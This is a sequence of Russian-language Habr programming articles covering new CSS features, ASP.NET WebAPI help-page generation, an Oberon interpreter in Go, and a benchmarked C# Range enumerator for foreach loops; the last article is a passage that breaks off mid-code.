Добавление функционала в браузер – процесс не быстрый, однако именно команда Microsoft первой реализовала поддержку CSS Grid в виде ранней реализации в IE10. Так что это отличные новости и с нетерпением жду возможности протестировать бета-версию.
prefers-reduced-data
--------------------
**Пока что не реализовано ни в одном браузере** – но есть в [списке задач на реализацию](https://bugs.chromium.org/p/chromium/issues/detail?id=1051189) в Chrome. Это позволит CSS проверять, активировал ли посетитель сайта режим экономии трафика на своём устройстве, и соответствующим образом настраивать выдаваемое содержимое. Например, вы можете не подгружать изображения на странице, заменив их заглушками.
```
@media (prefers-reduced-data: reduce) {
.image {
background-image: url("images/placeholder.jpg");
}
}
```
Медиа-запрос `"prefers_reduced_data"` работает так же, как некоторые уже реализованные в 5 уровне Спецификации медиа-запросов [свойства, определяющие предпочтения](https://drafts.csswg.org/mediaqueries-5/#mf-user-preferences) пользователя. Например, медиа-запросы `"prefers_reduced_motion"` и `"prefers_color_scheme"` позволяют вам узнать, предпочитает ли пользователь уменьшить количество анимаций на сайте или может использует тёмную тему во всей операционной системе и соответствующим образом настроить CSS.
::marker
--------
Псевдоэлемент `"::marker"` позволяет нам работать с маркером конкретного элемента списка. В самом простом случае это значит, что мы можем поменять его цвет или размер. Раньше это было невозможно из-за того, что можно было работать только со всем списком целиком.
В дополнение к стилизации маркеров настоящих списков, `"::marker"` можно использовать и для других элементов, списками не являющимися. В примере ниже у меня есть заголовок, которому присвоено свойство `"display: list-item"` и следовательно имеет маркер, который я заменила на emoji.
`"::marker"` уже поддерживается браузерами Firefox и Chrome Canary.
**Примечание:** прочитать больше про псевдоэлемент `"::marker"` и другие связанные со списками функции можно в моей статье [CSS Lists, Markers, And Counters](https://www.smashingmagazine.com/2019/07/css-lists-markers-counters/)
Пожалуйста, тестируйте новые функции
------------------------------------
Я рекомендую пробовать применять новый функционал, если вам встречаются подходящие ситуации. Вы можете найти ошибку или что-то, что работает не так, как вы ожидали. Разработчики браузеров и Рабочая группа CSS с удовольствием хотели бы узнать о них. Если кажется, что вы нашли ошибку в работе браузера, например, заметили, что `"::marker"` в Chrome и Firefox ведёт себя по-разному, зафиксируйте эту проблему (в статье [How to file a good browser bug](https://web.dev/how-to-file-a-good-bug/) описывается, как лучше это сделать). Если вы считаете, что в спецификации следовало бы предусмотреть обработку ещё какого-то поведение, также зафиксируйте это как проблему в [GitHub-репозитории рабочей группы CSS](https://github.com/w3c/csswg-drafts/issues) | https://habr.com/ru/post/513198/ | null | ru | null |
# WebAPI: автогенерация веб-документации REST API
В этой записи блога мы близко рассмотрим ApiExplorer, являющийся реализацией IApiExplorer по умолчанию и увидим как с помощью него можно быстро сгенерировать веб-документацию по доступному REST API. В этой документации будет содержаться разнообразная информация, например, правильные URL, допустимые HTTP-методы, ожидаемые для запросов параметры. Такого рода информация для вашего REST-сервиса позволит сторонним разработчикам, потребляющим ваш API, точно знать как правильно вызывать его части. Наверное, самое приятное в такой странице веб-документации состоит в том, что она будет обновляться автоматически вместе с обновлением вашего REST API.
### ApiExplorer
Основной целью этого класса является генерирование коллекции элементов ApiDescription. Это производится с помощью статической проверки маршрутов и доступных действий внутри ваших контроллеров. Каждый элемент ApiDescription описывает API доступный через ваш сервис. Как вы можете видеть на упрощенной диаграмме (рисунок 1) ApiDescription содержит базовую информацию такую как, HttpMethod, RelativePath, Documentation и т.д. Но кроме того, он содержит элемент [ApiDescriptor](http://msdn.microsoft.com/en-us/library/system.web.http.controllers.httpactiondescriptor(v=vs.108).aspx), который является частью ядра WebAPI знающей все о соответствующем действии. Вы можете использовать этот элемент для получения доступа к обширной информации, такой как имя действия, возвращаемый тип, пользовательские атрибуты и т.д. Точно так же вы можете использовать элемент [ParameterDescriptor](http://msdn.microsoft.com/en-us/library/system.web.http.controllers.httpparameterdescriptor(v=vs.108).aspx) для изучения ожидаемых параметров данного API.
Рис.1. Диаграмма класса ApiDescription
Давайте посмотрим, как мы можем сгенерировать страницу помощи.
### Генерация страницы помощи по API
Для простоты я буду считать, что мы используем наш REST-сервис вместе с ASP.NET MVC. Другие идеи по реализации вы можете посмотреть ниже в разделе "Другие реализации".
#### Пример
Для примера я использую стандартный шаблон "Web API".
Рис.2. Выбор проекта Web API
По умолчанию это шаблон содержит MVC-контроллер HomeController и Web API ValuesController. Давайте поменяем действие Index в HomeController для того, чтобы отобразить нашу страницу помощи.
#### Шаг 1. Используем ApiExplorer в представлении
Добавим следующие две строки кода в действие Index:
```
public ActionResult Index()
{
var apiExplorer = GlobalConfiguration.Configuration.Services.GetApiExplorer();
return View(apiExplorer);
}
```
#### Шаг 2. Настроим представление для отображения API
В Index.cshtml мы можем указать типом модели IApiExplorer:
@model System.Web.Http.Description.IApiExplorer
Затем мы можем пройтись по всем элементам Model.ApiDescriptions для отображения поддерживаемых HTTP-методов, относительных URL, описания действий и ожидаемых параметров.
```
@foreach (var api in Model.ApiDescriptions)
{
- ##### @api.HttpMethod @api.RelativePath
>
> @api.Documentation
>
>
> @if (api.ParameterDescriptions.Count > 0)
> {
> ###### Parameters
>
>
>
>
> @foreach (var parameter in api.ParameterDescriptions)
> {
> * @parameter.Name: @parameter.Documentation (@parameter.Source)
>
> }
> }
>
}
```
Конечно вы можете настроить свою HTML-разметку так как вам захочется. Ниже полный код для представления:
```
@model System.Web.Http.Description.IApiExplorer
ASP.NET Web API Help Page
=========================
### APIs
@foreach (var api in Model.ApiDescriptions)
{
* ##### @api.HttpMethod @api.RelativePath
>
> @api.Documentation
>
>
> @if (api.ParameterDescriptions.Count > 0)
> {
> ###### Parameters
>
>
>
>
> @foreach (var parameter in api.ParameterDescriptions)
> {
> + @parameter.Name: @parameter.Documentation (@parameter.Source)
>
> }
> }
>
}
```
Теперь, после запуска приложения вы должны увидеть следующую страницу с описанием доступного REST API (рисунок 3).
Рис.3. Страница с веб-документацией
Если вы взгляните внимательнее, описание API просто говорит "Documentation for XYZ", что естественно не очень полезно. Давайте добавим немного полезной информации.
#### Шаг 3. Добавление документации
Во время генерации документации для API наш ApiExplorer запрашивает IDocumentationProvider для предоставления необходимой информации. IDocumentationProvider — это абстрактный механизм, который позволяет вам определять собственный способ получения информации для документирования действий API. Это позволяет вам реализовать собственный IDocumentationProvider, который будет извлекать информацию из нужного вам источника. Ниже вы можете найти пример реализации IDocumentationProvider, которая извлекает информацию из документирующих комментариев C#.
```
public class XmlCommentDocumentationProvider : IDocumentationProvider
{
XPathNavigator _documentNavigator;
private const string _methodExpression = "/doc/members/member[@name='M:{0}']";
private static Regex nullableTypeNameRegex = new Regex(@"(.*\.Nullable)" + Regex.Escape("`1[[") + "([^,]*),.*");
public XmlCommentDocumentationProvider(string documentPath)
{
XPathDocument xpath = new XPathDocument(documentPath);
_documentNavigator = xpath.CreateNavigator();
}
public virtual string GetDocumentation(HttpParameterDescriptor parameterDescriptor)
{
ReflectedHttpParameterDescriptor reflectedParameterDescriptor = parameterDescriptor as ReflectedHttpParameterDescriptor;
if (reflectedParameterDescriptor != null)
{
XPathNavigator memberNode = GetMemberNode(reflectedParameterDescriptor.ActionDescriptor);
if (memberNode != null)
{
string parameterName = reflectedParameterDescriptor.ParameterInfo.Name;
XPathNavigator parameterNode = memberNode.SelectSingleNode(string.Format("param[@name='{0}']", parameterName));
if (parameterNode != null)
{
return parameterNode.Value.Trim();
}
}
}
return "No Documentation Found.";
}
public virtual string GetDocumentation(HttpActionDescriptor actionDescriptor)
{
XPathNavigator memberNode = GetMemberNode(actionDescriptor);
if (memberNode != null)
{
XPathNavigator summaryNode = memberNode.SelectSingleNode("summary");
if (summaryNode != null)
{
return summaryNode.Value.Trim();
}
}
return "No Documentation Found.";
}
private XPathNavigator GetMemberNode(HttpActionDescriptor actionDescriptor)
{
ReflectedHttpActionDescriptor reflectedActionDescriptor = actionDescriptor as ReflectedHttpActionDescriptor;
if (reflectedActionDescriptor != null)
{
string selectExpression = string.Format(_methodExpression, GetMemberName(reflectedActionDescriptor.MethodInfo));
XPathNavigator node = _documentNavigator.SelectSingleNode(selectExpression);
if (node != null)
{
return node;
}
}
return null;
}
private static string GetMemberName(MethodInfo method)
{
string name = string.Format("{0}.{1}", method.DeclaringType.FullName, method.Name);
var parameters = method.GetParameters();
if (parameters.Length != 0)
{
string[] parameterTypeNames = parameters.Select(param => ProcessTypeName(param.ParameterType.FullName)).ToArray();
name += string.Format("({0})", string.Join(",", parameterTypeNames));
}
return name;
}
private static string ProcessTypeName(string typeName)
{
//handle nullable
var result = nullableTypeNameRegex.Match(typeName);
if (result.Success)
{
return string.Format("{0}{{{1}}}", result.Groups[1].Value, result.Groups[2].Value);
}
return typeName;
}
}
```
После этого вам необходимо подключить ваш собственный IDocumentationProvider. Простейшим способом это сделать является конфигурирование через HttpConfiguration. Обратите внимание, что XmlCommentDocumentationProvider должен знать где находится файл XML с комментариями.
```
var config = GlobalConfiguration.Configuration;
config.Services.Replace(typeof(IDocumentationProvider),
new XmlCommentDocumentationProvider(HttpContext.Current.Server.MapPath("~/App_Data/MyApp.xml")));
```
Вы можете убедиться в том, что генерация вашего файла XML документации включена в настройках проекта (рисунок 4).
Рис.4. Установка параметра генерации файла документации
После этого убедитесь, что ваш код содержит комментарии документирования:
В заключении, запустите ваш проект снова и убедитесь, что документация из вашего кода теперь доступна на странице веб-документации вашего REST API (рисунок 5).
Рис.5. Страница веб-документации с описанием методов
### Исключение контроллера/действия из документации
По некоторым причинам может понадобиться исключить контроллер или действие из генерации документации API. Для этого вы можете воспользоваться специальным атрибутом ApiExplorerSettingsAttribute:
```
public class ValuesController : ApiController
{
[ApiExplorerSettings(IgnoreApi = true)]
public void MySpecialAction()
{
}
}
```
Он может применяться и для контроллера:
```
[ApiExplorerSettings(IgnoreApi = true)]
public class MySpecialController : ApiController
{
```
### Другие реализации
То что я показал выше — это всего лишь один путь для реализации страницы веб-документации. Но могут быть и многие другие пути, вот, для примера, другая идея:
* Создайте свою реализацию ApiController (например HelpController). Внутри контроллера у вас будет действие GET, которое возвращает информацию об API (в каком угодно формате). Внутри же HelpController будет использовать ApiExplorer и всю доступную через него информацию. Преимущество этого подхода в том, что он будет работать как в self-hosted режиме, так и в виде веб-сервиса.
### Замечание переводчика
В статье описан будущий функционал, который будет добавлен в ASP.NET WebAPI. Вы можете попробовать его уже сегодня, установив необходимые пакеты из репозитория WebAPI [aspnetwebstack.codeplex.com/.../353867](http://aspnetwebstack.codeplex.com/discussions/353867) подробнее о том, как это можно сделать написано в [отдельной статье](http://blogs.msdn.com/b/henrikn/archive/2012/04/29/using-nightly-nuget-packages-with-asp-net-web-stack.aspx). | https://habr.com/ru/post/144915/ | null | ru | null |
# Интерпретатор Оберона на Go
Введение
========
История движется по спирали. Авторы Go, встав на плечи авторитетной корпорации Google, смогли воплотить свой идеальный язык программирования в жизнь, как когда-то Никлаус Вирт принес в этот мир язык Оберон, собственной непоколебимостью и авторитетом борясь с зарождавшимся трендом усложнения и экстенсивного развития мейнстрим-языков.
Сегодня язык Оберон забыт, но дело Вирта проявилось в языке Go совершенно неожиданно. В некоторых аспектах реализации сходство подходов не вызывает сомнений. Конечно, каждый язык по-своему уникален и нет нужды из одного языка делать другой. Время не повернуть назад. Но в разное время люди стремились сохранить технологии, ушедшие в прошлое. Чего стоят бережно хранимые эмуляторы Спектрума и MSX, музеи старых компьютеров в разных странах. Эмуляция, как один из способов остановить мгновение прочно зарекомендовал себя.
Общепринято считать, что язык Go нашел себя в нише сетевых сервисов. Но мы пойдем другим путем.
Задача
======
История языка Оберон насчитывает несколько вариантов языка. Каждую редакцию Н. Вирт создавал под какой-то конкретный проект, его языки всегда были созданы под задачу исходя из её целей. Оберон-2 создавался как вариант Оберона с развитым механизмом типов данных, реализуя концепцию ООП. Ученики Н. Вирта решили, что именно Оберон-2 подходит для промышленного программирования. Они дополнили язык фичами, нарастили систему типов до совместимой с набиравшей популярность Java, реализовали идею истинной модульности и выпустили продукт BlackBox с языком Компонентный Паскаль (КП) внутри.
Шло время, корпорации из-за океана более успешно вышли на рынок и BlackBox ушел в тень, оставаясь объектом исследования небольшой группы энтузиастов, в том числе из России и стран СНГ.
Один из принципов КП — модульность, возможность смены реализации компонента без смены его интерфейса (в применении к объектам это называется pimpl). И вот я подумал, а чем конкретный фреймворк отличается от реализации компонента. И описание языка — интерфейс Его… Проще говоря, мне пришло в голову реализовать интерпретатор с функциями фреймворка. То есть с поддержкой модульности, как она описана в сообщении о языке.
Расследование
=============
Особенностью фреймворка BlackBox является динамическая линковка модулей в памяти процесса. Как известно, процесс создания программы из исходного кода состоит из нескольких этапов. В разных реализациях различных компиляторов эти этапы могут быть скрыты, пропущены, примитивизированы. Линковка это приведение машинного кода к виду, приемлимому для непосредственного исполнения процессором. Например в Go линковка статическая, на этапе компиляции. А в BlackBox динамическая, на этапе загрузки тела модуля в память. Интересной особенностью такого решения является независимость кода от операционной системы, когда один и тот же машинный код исполняется в разных ОС без перекомпиляции, при условии одинаковой архитектуры (x86, например).
Однако, в компиляторе BlackBox предусмотрена еще одна возможность — смена кодогенератора для конкретной архитектуры. Достигается такой результат применением внутри компилятора структуры AST — абстрактного синтаксического дерева для платформонезависимого сохранения структуры программ и данных. Удалось выяснить, что изначально BlackBox был написан для платформы Mac+PowerPC, и только затем переписан под Wintel. При этом компилятор остался практически неизменным. Сменный backend сегодня не является чем-то удивительным, но в 90-х это было необычно и в новинку.
Таким образом, эти две особенности позволили мне создать свой backend. Без особых усилий я перевел AST в формат XML, точнее, в graphml, с прицелом на красивую визуализацию процесса интерпретации. Планов было громадье.
Решение
=======
Для реализации я выбрал язык Go, хотя мог выбрать Java, C#, Dart и прочие. Почему? Причин несколько, основная — информация о том, что Go по своей природе похож на Оберон, отсекает все лишнее из процесса выражения предметной области. Взять хотя бы исключения, эти легкие легализованные якобы безвредные аналоги оператора GOTO.
Отличный повод изучить Go.
Проект я назвал просто: [Framework](https://github.com/kpmy/fw).
Краткий экскурс в описание языка — и в бой. Десериализация xml в структуры с помощью тэгов — отлично. Сокрытие данных в пакетах — отлично, применим наш любимый pimpl. Утиная типизация интерфейсами поначалу смутила, но после пары шишек пришло понимание. Основная ловушка здесь — сравнение разноименных интерфейсов с одинаковым набором методов. Этот набор может сформироваться исторически, и даже опытный разработчик может обнаружить, что тайпсвитч на тип А обрабатывает тип Б и закономерно падает.
Итак, AST загружен в память, основные узлы описаны, правила интерпретации известны. Как оказалось — типов узлов немало. Типов данных еще больше. Одним из основных принципов, который я взял на вооружение, стал принцип let it fall, при любой непонятной ситуации программа завершает работу. Конечно, домашний проект позволял такие вольности.
Интерпретировать алгоритмы это интересно. AST языка КП состоит из операторов, выражений и указателей на объекты (statement, expression, designator). Операторы следуют друг за другом, изменяют объекты, меняют ход программы в зависимости от подчиненных узлов (выражений или указателей). В данном случае подчиненных узлов два — left и right. Есть так же дополнительные узлы, такие как link и object.
Для начала выберем схему обхода данных — я предположил, что выдумывать ничего не надо, все уже придумано, поэтому применил стек для обработки узлов в глубину и нерекурсивный обход узлов от одного выражения к другому. Каждому узлу в стеке соответствует фрейм, в котором хранится результат обработки дочерних узлов и указания от родительских узлов. Специфичные действия для конкретного узла и есть основная часть интерпретации программы. Программа выполняется, пока операторы, управляющие потоком исполнения добавляют в стек один или больше следующих операторов для выполнения.
Как только стек пустеет или результат выполнения итерации возвращает код ошибки — программа останавливается. Ничего сложного.
Для хранения данных в высокоуровневой среде языка Go можно описать различные типы данных, в том числе примитивные. В этом я увидел еще одно преимущество языка Go для задачи реализации интерпретатора.
Полный перечень правил, по которым составлено дерево AST можно увидеть [здесь](https://github.com/kpmy/fw/blob/master/doc/ast.pdf).
Пример
======
Коротко опишу процесс интерпретации узлов простой программы.
```
MODULE XevDemo2;
VAR
i: INTEGER;
PROCEDURE Init;
BEGIN
i:=1;
END Init;
PROCEDURE Stop;
BEGIN
i:=0;
END Stop;
BEGIN
Init
CLOSE
Stop
END XevDemo2.
```
* Дерево программы загружается в память. Обнаруживается узел EnterNode входа в программу (BEGIN), на него нацеливается интерпретатор.
* Интерпретатор кладет текущий узел (EnterNode) на стек. EnterNode дает команду на размещение переменной i, затем кладет в стек узел CallNode, то есть вызов процедуры Init.
* Текущий узел CallNode кладет в стек узел EnterNode процедуры Init.
* Узел EnterNode не размещает данных, так как в процедуре нет локальных переменных. Следущим в стек выполнения отправляется узел присваивания AssignNode.
* Узел присваивания должен вычислить указатель на объект переменной и значение справа. Для этого он кладет в стек узел VariableNode.
* VariableNode возвращает в данных фрейма адрес своего объекта.
* Узел присваивания кладет в стек узел константы. Хотя для константы можно было бы выполнить оптимизацию, но для понимания процесса я сделал обработку всех узлов-выражений единообразной.
* Узел константы просто кладет на фрейм свое значение.
* Узел присваивания берет результаты выполнения левой и правой части и выполняет обновление данных в памяти переменной.
* Так как за узлом присваивания нет никакого оператора, фрейм убирается со стека, управление переходит к узлу EnterNode.
* Узел EnterNode при завершении работы очищает данных процедуры, так как они не нужны и возвращает управление. Его фрейм так же снимается со стека.
* Далее секция CLOSE работает аналогично секции BEGIN. В многомодульных системах секция CLOSE несет важную функцию завершения работы модуля в целом.
* Процесс интерпретации завершается.
Результаты и перспективы
========================
В данный момент интерпретатор поддерживает полный набор операторов языка КП. Так же поддерживается система типов, наследование, расширение методов и так далее, о них я не упомянул, чтобы не загромождать статью.
Отдельные проблемы есть в управлении сложными структурами данных, типа массив массивов рекордов и так далее. Но это уже вопрос времени — внимательно проверить алгоритмы работы и исправить ошибки.
Изначальные планы по созданию из языка КП специализированных DSL для разных случаев жизни пришлось отложить. Оказалось, что даже простенькая задача интерпретации не самого сложного с точки зрения фич языка КП наталкивается на проблему сложности предметной области, когда куча нюансов реализации должны вместе существовать и работать. Тут стоит пожать руку авторам JVM, можно только представить, какие задачи они решали в процессе развития среды, особенно на ранних этапах.
В копилку знаний я добавил язык Go, кучу материалов про языки программирования, интерпретацию, модифицируемую семантику языка и так далее. В конце работы я понял, что абстрактное синтаксическое дерево в его текущем виде может быть применимо не только для КП, но и для схожих императивных языков. Уже после завершения основных работ я узнал, что выпущен интерпретатор языка Lua для Go.
В некотором смысле история опять совершила движение по спирали, оказалось, что язык КП уже в 90-е годы представлял собой экстракт основных идей императивного программирования, которые, при попутном ветре могли бы радикально изменить все то, с чем мы имеем дело сейчас.
Можно только размышлять о том, как подобно эффекту бабочки шутки о «паскале для обучения» и «смешном синтаксисе» изменили будущее индустрии на десятилетия вперед. | https://habr.com/ru/post/252677/ | null | ru | null |
# Ускоряем цикл foreach до for
Привет! Хочу рассказать об интересном опыте, как я писал енумератор для типа `Range`, который был бы таким же дешевым, как цикл `for`.
Что мы хотим?
-------------
У System.Range, как известно, очень красивый синтаксис создания:
```
var a = 1..2; // эквивалент new Range(1, 2)
```
Поэтому, как эксперимент, я решил абузить его для цикла `foreach`, как замена `for`:
```
foreach (var i in 1..5)
Console.Write(i);
```
(выводит 12345)
Для foreach Розлин требует метод `GetEnumerator`, который возвращал бы что-то, у чего есть `bool MoveNext()` и T Current. Этот метод можно добавить как метод расширения:
```
public static class Extensions
{
public ... GetEnumerator(this System.Range range) => ...
}
```
Baseline (на что равняемся)
---------------------------
Вообще-то `for` это куда больше, чем пройтись по последовательности. Но так как очень часто мы видим
```
for (int i = 0; i < n; i++)
```
то это стоит своего кейса использования `for`. Сравнивать мы будем с циклом `for` у которого в качестве итерации стоит `i += inc`:
```
for (int i = 0; i < n; i += inc)
```
По производительности он идентичен версии с i++:
| Method | Iterations | Mean | Error | StdDev |
| --- | --- | --- | --- | --- |
| i++ | 10000 | 3.380 us | 0.0534 us | 0.0446 us |
| i += inc | 10000 | 3.385 us | 0.0575 us | 0.0685 us |
Код метода с for-ом:
```
[Benchmark]
public int ForWithCustomIncrement()
{
var iters = Iterations;
var a = 0;
var inc = Inc;
for (int i = 0; i < iters; i += inc)
a += i;
return a;
}
```
(мы выгрузили все проперти в локальные переменные чтобы исключить чтение из памяти при итерации)
[Кодген](https://sharplab.io/#v2:EYLgxg9gTgpgtADwGwBYA0AXEBDAzgWwB8ABAJgEYBYAKBuIGYACMxgIRgDswALfbKANa4aAbxqMJjcZIaMAlhwyMAkhhhRsGORA65GIxgHMYGANyNcJ8wF8a0iQAcocgG6aY8xSq76jVi/7WjAC8jOTmAPQRjMAAnoyw2AAmCoaMAGZQEPgZcjAANkkRThAO6hixaIwY3B4AUsoAKoyQ+A5y+eqMAO46AORKpVr4cgBeHnJKGBCeYJ64GFAArmBaOnbUklKbMkwKSgBi0ADqk9zKXLD4nBisseQAFACU9vqvW25Q8mpQeqGq6k02l0pnekk+jGwIUYAAZQTsthJ0tBGA99vJoXCMQAeb7qXDmOQAaiJLwRiK2UKJoTk8IpEmIAHZIXTJLZaOTXrJ0UcoKcagBhJYLbIXMBXG7PV5ickffh437QgEaNYgsESCFQ0Jw9WMCEKOb/LisinIr5orxyTGExi4yb4m3U2Zk+mIqk0k2Ipks17s6xAA===) for-а:
```
L000f: add edx, r8d
L0012: add r8d, ecx
L0015: cmp r8d, eax
L0018: jl short L000f
```
> Мы будем смотреть только на код одной итерации цикла, начальный оверхед и окружающий мусор нас не интересует.
>
>
Эксперимент 1. Enumerable.Range
-------------------------------
Конечно, сначала стоит попробовать вариант из BCL: Enumerable.Range, исходный код которого можно поизучать [здесь](https://source.dot.net/#System.Linq/System/Linq/Range.cs,11).
Так выглядит наш бенчмарк:
```
[Benchmark]
public int ForeachWithEnumerableRange()
{
var a = 0;
foreach (var i in Enumerable.Range(0, Iterations))
a += i;
return a;
}
```
Этот код Розлином [раскрывается](https://sharplab.io/#v2:EYLgxg9gTgpgtADwGwBYA+ABATARgLABQGADAAQY4B0AMgJYB2AjgNyGEYDM5WpAQjPTAALALYBDKAGsAzoQDehUktKLlnUgwAupAJKaYUMZtoR600nNIBzGJualpt+wF82BZaQAOUWgDcjMBr02jqCFtZODpHOpAC8pDj2APRJpMAAnqSwYgAmDFakAGZQECJFtDAANjlJ3hCeBprpADSkmkKBAFI6ACqkkCKetJUGpADupgDk2vXGIrQAXoG02poQQWBB0ppQAK5gxqZuHqpK6lqkAGLQMGLCAOorQgCi9LsiBmLAIwBKYvQ2AAUAEpThYwR5/FBSGI4qRiKx3B5lIUbnchKRAVCNEFSK93p9vjBKH8ATBAcRWnpPoczMDQUjkcjYQBqeK0RFMs4AdhhnOUrgIziAA) как
```
public int ForeachWithEnumerableRange()
{
int num = 0;
IEnumerator enumerator = Enumerable.Range(0, Iterations).GetEnumerator();
try
{
while (enumerator.MoveNext())
{
int current = enumerator.Current;
num += current;
}
return num;
}
finally
{
if (enumerator != null)
{
enumerator.Dispose();
}
}
}
```
Изучать ассемблерный кодген смысла нет, достаточно взглянуть на бенчмарк:
| Method | Iterations | Mean | Error | StdDev |
| --- | --- | --- | --- | --- |
| ForWithCustomIncrement | 10000 | 3.448 us | 0.0689 us | 0.0896 us |
| ForeachWithEnumerableRange | 10000 | 43.946 us | 0.8685 us | 1.2456 us |
Эксперимент 2. yield return
---------------------------
Второй по простоте способ - написать метод-генератор, и вызывать его енумератор:
```
private static IEnumerable MyRange(int from, int to, int inc)
{
for (int i = from; i <= to; i += inc)
yield return i;
}
[Benchmark]
public int ForeachWithYieldReturn()
{
var a = 0;
foreach (var i in MyRange(0, Iterations - 1, 1))
a += i;
return a;
}
```
Принципиально нового мы ничего не получаем, наш енумератор это все еще огромный референс тип с кучей полей. Бенчмарки сообщают, что с yield-ом даже хуже, чем с Enumerable.Range:
| Method | Iterations | Mean | Error | StdDev |
| --- | --- | --- | --- | --- |
| ForWithCustomIncrement | 10000 | 3.548 us | 0.0661 us | 0.1320 us |
| ForeachWithEnumerableRange | 10000 | 51.663 us | 0.9103 us | 1.2460 us |
| ForeachWithYieldReturn | 10000 | 56.580 us | 0.3561 us | 0.2780 us |
Эксперимент 3. Собственный енумератор
-------------------------------------
Теперь будем писать собственный енумератор. Чтобы оно работало с foreach-ем, нужно, чтобы был метод `bool MoveNext()` и свойство `T Current` (в нашем случае `int Current`).
```
public struct RangeEnumerator
{
private readonly int to;
private readonly int step;
private int curr;
public RangeEnumerator(int @from, int to, int step)
{
this.to = to + step;
this.step = step;
this.curr = @from - step;
}
public bool MoveNext()
{
curr += step;
return curr != to;
}
public int Current => curr;
}
```
Чтобы Розлин увидел, что по `System.Range` можно форычиться, нужно сделать метод расширения:
```
public static class Extensions
{
public static RangeEnumerator GetEnumerator(this Range @this)
=> (@this.Start, @this.End) switch
{
({ IsFromEnd: true, Value: 0 }, { IsFromEnd: true, Value: 0 }) => new RangeEnumerator(0, int.MaxValue, 1),
({ IsFromEnd: true, Value: 0 }, { IsFromEnd: false, Value: var to }) => new RangeEnumerator(0, to + 1, 1),
({ IsFromEnd: false, Value: var from }, { IsFromEnd: true, Value: 0 }) => new RangeEnumerator(from, int.MaxValue, 1),
({ IsFromEnd: false, Value: var from }, { IsFromEnd: false, Value: var to })
=> (from < to) switch
{
true => new RangeEnumerator(from, to, 1),
false => new RangeEnumerator(from, to, -1),
},
_ => throw new InvalidOperationException("Invalid range")
};
}
```
Код бенчмарка выглядит так:
```
[Benchmark]
public int ForeachWithRangeEnumerator()
{
var a = 0;
foreach (var i in 0..(Iterations - 1))
a += i;
return a;
}
```
И раскрывается Розлином так:
```
public int ForeachWithRangeEnumerator()
{
int num = 0;
RangeEnumerator enumerator = Extensions.GetEnumerator(new Range(0, Iterations - 1));
while (enumerator.MoveNext())
{
int current = enumerator.Current;
num += current;
}
return num;
}
```
На этот раз нет референс типов, а так как `RangeEnumerator` не имплементит `IDisposable`, то и нет try-catch блоков вокруг. Взглянем на бенчмарк:
| Method | Iterations | Mean | Error | StdDev |
| --- | --- | --- | --- | --- |
| ForWithCustomIncrement | 10000 | 3.477 us | 0.0690 us | 0.0989 us |
| ForeachWithEnumerableRange | 10000 | 50.501 us | 0.9984 us | 1.2627 us |
| ForeachWithYieldReturn | 10000 | 53.782 us | 1.0583 us | 0.9900 us |
| ForeachWithRangeEnumerator | 10000 | 18.061 us | 0.1731 us | 0.1619 us |
18 микросекунд на 10000 операций. Намного лучше, чем аналоги до этого, но сильно хуже, чем `for`. Время взглянуть на кодген!
Одна итерация цикла [выглядит](https://sharplab.io/#v2:EYLgxg9gTgpgtADwGwBYA0AXEBDAzgWwB8ABAJgEYBYAKBuIGYACMxgIRgDswALfbKANa4aAbxqMJzJgEsOGRgEkMMKNgzSIHXIxGMA5jAwBuRrkMmAvjXGSADlGkA3NTEaz5Crjv3nTvi4wAvIzkJgD0YYzAAJ6MsNgAJrJ6jABmUBD4adIwADYJYfYQtioY0WiMGNyuAFIKACqMkPi20rkqjADumgDk8sXq+NIAXq7S8hgQbl6yuBhQAK5g6prW1JKMaxsM0/IAYtAw2DwA6uPcAErYHAYAohwL+Cpq0AAUAJQ2EmLrG5LOUEY2CCjAADEYvn9UodjtxGK8AW5pmCAHQo15KZ4rLSMOAhd6fX5/P7AgDUwWkEKJf2IAHYgVSNlZqMydsRyEhmKRGLcEMotBotJCfsSJGyOYwrjcYPdHljoIwAOKGWVPVSTKCvKrSbRSgzMYja3CE0V/QIAPnhxEN3B1KIAyhh+BgKtajSj7gl3qZOuMeJDTSLTaLXroFLg9hl8J6QJVFjAKgA1bC5BYwWOgxgWCphiNRmNxtNJlNpjNZ70WxgcGCdSXXO4PNUvTWgiruFEAWWwCGTqYT+LQAeDElDijzmQL8yLjF7pbBWZzY8jE44CVjqRTZmLfdjiMm5aClurtb1Msb8pbFX3pJCFXI70H1OHI9zy+jq/Xm/7s/TjER6UyBdvHDN9J3jbc50zCwKyPGs62lVUL1eAD8DbORO27H87wfIdh1HED8w/NIvwg39/yjIDX0ItdiNyLcZxLMj+EqKZoNw58JErZCKIAHhY71cF9DB/SfDjJCDMTgynVxK2PeCGzldU3hQq8IGwx9JOHDc6Jk2CT3rM9FObbjMlUio4HvDTNKZKzJIAfUPSpuAyWs5M8ZxcmkBIAHkSnVQVeTAGBbGxV4ACJ3JTLy4gMsKTWfCxGUkZktkkHY5kWZZ5MMpsNWFdj7CcFw4iOBJNFyWJ3BYpLiUK5xlBKxJysquRTGUWwqQKhx6rGVqwAWKAoE60SJHcFQOBTZgUEYAARGBIC0KdlleCAFnkKrrRUxhVvW1rJgqHbdja4L4uHLjNqjMzjtsCt4X6war1tXAUX2py7TmE7hvYsaoAm3JssQpTNQ24gtqq16qo+m72IkqSnpeqZgmva6arh972pBKHUdNd17sBYILsAvEsfYlLaBGqQoggCB/o7CBHBgAA5GA+Q+GH2I2PHGHJFGObS+kuYAQiRiBseS1LiR2KqAGEBtgVrKzx1GLCAA==) так:
```
L003e: add esi, eax
L0040: mov eax, [rsp+0x38]
L0044: add eax, [rsp+0x34]
L0048: mov [rsp+0x38], eax
L004c: mov eax, [rsp+0x38]
L0050: cmp eax, [rsp+0x30]
L0054: jne short L003a
```
Да, у нас референс-типов нет, но все данные-то все равно в памяти! Хоть и на стеке.
Эксперимент 4. Собственный енумератор прячем в локальную функцию
----------------------------------------------------------------
Что за магия? Дело в том, что чтобы получить наш енумератор таким же быстрым, как `for`, следует поместить его поля в регистры. Но компилятор сам этого не сделал, слишком много локальных переменных в методе было, и он не положил нужные. Давайте облегчим задачу.
Из эксперимента 3:
```
[Benchmark]
public int ForeachWithRangeEnumeratorRaw()
{
var a = 0;
var enumerator = (0..(Iterations - 1)).GetEnumerator();
while (enumerator.MoveNext())
a += enumerator.Current;
return a;
}
```
(я заменил `foreach` на точно то же самое с постфиксом `Raw`, только написанное ручками, для наглядности. См. эксперимент 3, там показано, как Розлин раскрывает `foreach`).
Чтобы уменьшить количество локальных переменных, спрячем цикл в локальную функцию:
```
[Benchmark]
public int ForeachWithRangeEnumeratorRawWithLocal()
{
var enumerator = (0..(Iterations - 1)).GetEnumerator();
return EnumerateItAll(enumerator);
